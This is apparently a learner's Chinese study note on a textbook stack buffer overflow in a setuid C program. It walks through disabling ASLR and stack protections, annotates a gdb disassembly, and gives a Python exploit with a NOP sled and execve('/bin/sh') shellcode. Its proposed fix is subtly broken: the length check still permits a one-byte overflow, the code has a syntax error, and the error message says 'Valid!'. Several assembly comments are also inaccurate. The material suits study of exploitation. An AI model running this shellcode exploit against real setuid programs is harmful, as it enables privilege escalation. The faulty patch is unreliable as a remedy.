整体内容是关于此博客的学习记录:【PWN】经典的栈溢出漏洞分析 - 知乎 (zhihu.com)
在此对原博主表示感谢和敬佩!膜拜大佬!
一、环境配置
使用的例子来源于最基础的栈溢出代码,相信这是所有初学者第一个接触到的:
这个代码的问题出现在:他没有检查用户输入长度和buf可容大小是否匹配,直接将用户塞入buf导致出现栈溢出。
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[])
{
char buf[256];
strcpy(buf,argv[1]);//栈溢出问题所在
printf("Input:%s\n",buf);
return 0;
}
由于现代操作系统对栈溢出有所警惕和防备,故要更好的理解此代码造成的危害,我们需要进行一些环境配置。
根据被引博客的步:
首先关闭虚拟机的地址随机化, 模拟最原始的情况:
echo 0 > /proc/sys/kernel/randomize_va_space
这条命令将0写入/proc/sys/kernel/randomize_va_space文件中。这个文件控制着Linux内核中的地址空间布局随机化功能,表示将此功能关闭。
使用此代码进行测试,测试地址分配是否随机:
// gcc -g stack.c -o stack
//设定一个函数获取当前函数栈帧的顶部,因为后续代码的前栈指针会指向此地址
unsigned long sp(void)
{
asm("mov %rsp, %rax");
}//使用汇编指令将栈指针的值(%rsp)赋给寄存器%rax,并将%rax作为函数的返回值
int main(int argc, char **argv)
{
unsigned long esp = sp();//接受此返回值并打印
printf("Stack pointer (ESP : 0x%lx)\n",esp);
return 0;
}
在关闭地址随机化后运行程序的结果应该相同。
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
chmod +s vuln
对于命令的解释:
首先,"gcc -g -fno-stack-protector -z execstack -o vuln vuln.c"是一个编译命令,用于将名为"vuln.c"的源代码文件编译成一个可执行文件"vuln"。这个命令使用了一些编译选项:
- "-g"选项用于在可执行文件中包含调试信息,以便在调试时进行源代码级别的调试。
- "-fno-stack-protector"选项用于禁用堆栈保护机制,这样在程序中就可以使用一些可能存在安全风险的堆栈操作。
- "-z execstack"选项用于允许可执行文件的堆栈段可执行,这对于一些特定的漏洞利用技术是必需的。
接下来,"chmod +s vuln"是一个设置权限的命令。通过"+s"选项,它将可执行文件"vuln"的权限设置为具有特殊权限位"setuid"。当一个可执行文件被设置为"setuid"权限时,它将以文件所有者的身份而不是执行者的身份来运行。这通常用于特定的系统任务,以便以特权身份运行某些程序。
二、调试与汇编
使用相关命令开始调试与反汇编:
gdb vuln
disas main
得到以下结果:
(gdb) disassemble main
Dump of assembler code for function main:
//准备工作:返回地址压栈
0x08048414 <+0>: push %ebp //返回地址寄存器ebp
0x08048415 <+1>: mov %esp,%ebp //将值赋值给esp此时esp即是当前的基址
//参数提取:将用户输入提出
//进行栈对齐:保证esp是16的倍数
0x08048417 <+3>: and $0xfffffff0,%esp
//分配0x110(272个字节)的空间用于存储局部变量和缓冲区:栈地址是从高地址向低地址生长,故用sub
0x0804841a <+6>: sub $0x110,%esp
//获取函数参数:eax = argv
0x08048420 <+12>: mov 0xc(%ebp),%eax
//int为4字节,在argv数组基址+4得到[1]的地址
0x08048423 <+15>: add $0x4,%eax
//将eax的值提出赋值给他自己:eax=argv[1]的值,即获取用户输入的字符串
0x08048426 <+18>: mov (%eax),%eax
//此时的esp是变量开始存储的地址 ebp是返回地址 eax是用户的字符串
//参数压栈:将参数存入栈中备用
//将eax值存入esp+4地址:将用户输入压栈备用
0x08048428 <+20>: mov %eax,0x4(%esp)
//计算出esp+10的地址值并写入eax:此地址用于存储buf
0x0804842c <+24>: lea 0x10(%esp),%eax
//将buf写入esp
0x08048430 <+28>: mov %eax,(%esp)
//调用strcpy函数的过程:
0x08048433 <+31>: call 0x8048330 <strcpy@plt>
//将格式字符串"Input:%s\n"的地址存储到eax寄存器中。
0x08048438 <+36>: mov $0x8048530,%eax
//计算esp+10=edx,
0x0804843d <+41>: lea 0x10(%esp),%edx //edx = buf
0x08048441 <+45>: mov %edx,0x4(%esp) //printf arg2
0x08048445 <+49>: mov %eax,(%esp) //printf arg1
0x08048448 <+52>: call 0x8048320 <printf@plt> //call printf
0x0804844d <+57>: mov $0x0,%eax //return value 0
//Function Epilogue
0x08048452 <+62>: leave //mov ebp, esp; pop ebp;
0x08048453 <+63>: ret //return
End of assembler dump.
对其进行测试:
-
gdb -q vuln
:启动GDB调试器,并加载名为vuln的可执行文件进行调试。"-q"选项表示以安静模式启动GDB,不显示冗长的提示信息。 -
(gdb)r
python -c 'print "A"*300'``:在GDB中运行目标程序。这里使用了反引号()来执行shell命令,即在GDB中执行
python -c 'print "A"*300'`命令。该命令会生成一个长度为300的"A"字符串,并将其作为输入传递给目标程序。 -
(gdb)p/x $eip
:在GDB中打印寄存器eip的十六进制值。"p"是gdb中的print命令,用于打印变量或寄存器的值。"/x"选项表示以十六进制格式打印值。eip的十六进制值。eip是存储当前指令地址的寄存器,通过打印$eip的值,可以查看当前执行到的指令地址。
通过执行该命令可以得到程序确实可以崩溃。
前置知识了解到eip/ebp都占0x4的位置,且ebp在eip上面,所以通过以下算式可以找到eip:
所以我们从汇编代码可以看出该程序一共使用了0x100(buf)+0x8(用于对齐的部分)+0x4(ebp)=268=0x10c
也就是说0x10c可以从基址地址一直到eip,为了能将eip覆盖,需要再多0x04即可。
根据博文所述,在实际操作中发现不行,需要填充NOP。
则返回地址计算:返回地址=esp+N<NOP最填充长度
三、进行攻击
针对这个思路编写的攻击程序可以是:
import struct
from subprocess import call
ret_addr = 0xbfffefb8 # 是准备替换掉eip的新地址
scode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" # 要执行的shellcode。这段shellcode的功能是执行/bin/sh,即生成一个shell。
# 地址转换函数:将RA转换为小端序的二进制格式
def conv(num):
return struct.pack("<I",num)
# 构造一个用户输入
buf = "A" * 268 # 持平esp
buf += conv(ret_addr) # 覆盖eip
buf += "\x90" * 100 # NOP
buf += scode #shellcode
print "Calling vulnerable program"
call(["./vuln", buf]) # 将buf传入函数进行攻击
插入的100个NOP指令(即\x90)到buf中,可能是作者在测试时找到的一个合适的值。因为插入的NOP指令数量的选择是一个经验性的决策,需要根据目标程序的具体情况进行调整。如果插入的NOP指令数量过少,可能导致shellcode无法正确执行;如果插入的NOP指令数量过多,可能会浪费空间并增加攻击的复杂性。插入NOP指令的目的是为了确保shellcode的正确执行,并且插入的数量需要根据目标程序的特定情况进行调整。
四、修复建议
在代码审计的最后,一般都要指出如何修复:
增加一个判断长度范围的函数即可:
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[])
{
char buf[256];
unsigned int len=strlen(argv[1]);
if(len<=256&&len>=0)
{
strcpy(buf,argv[1]);//栈溢出问题所在
printf("Input:%s\n",buf);
}
else{printf("Valid!")}
return 0;
}
这就是对于这个初级栈溢出漏洞的全部学习记录,是我漏洞路上的第一个看懂的解法,还没有实际试验,如果在实验过程中还有遇到新的问题会再次补充。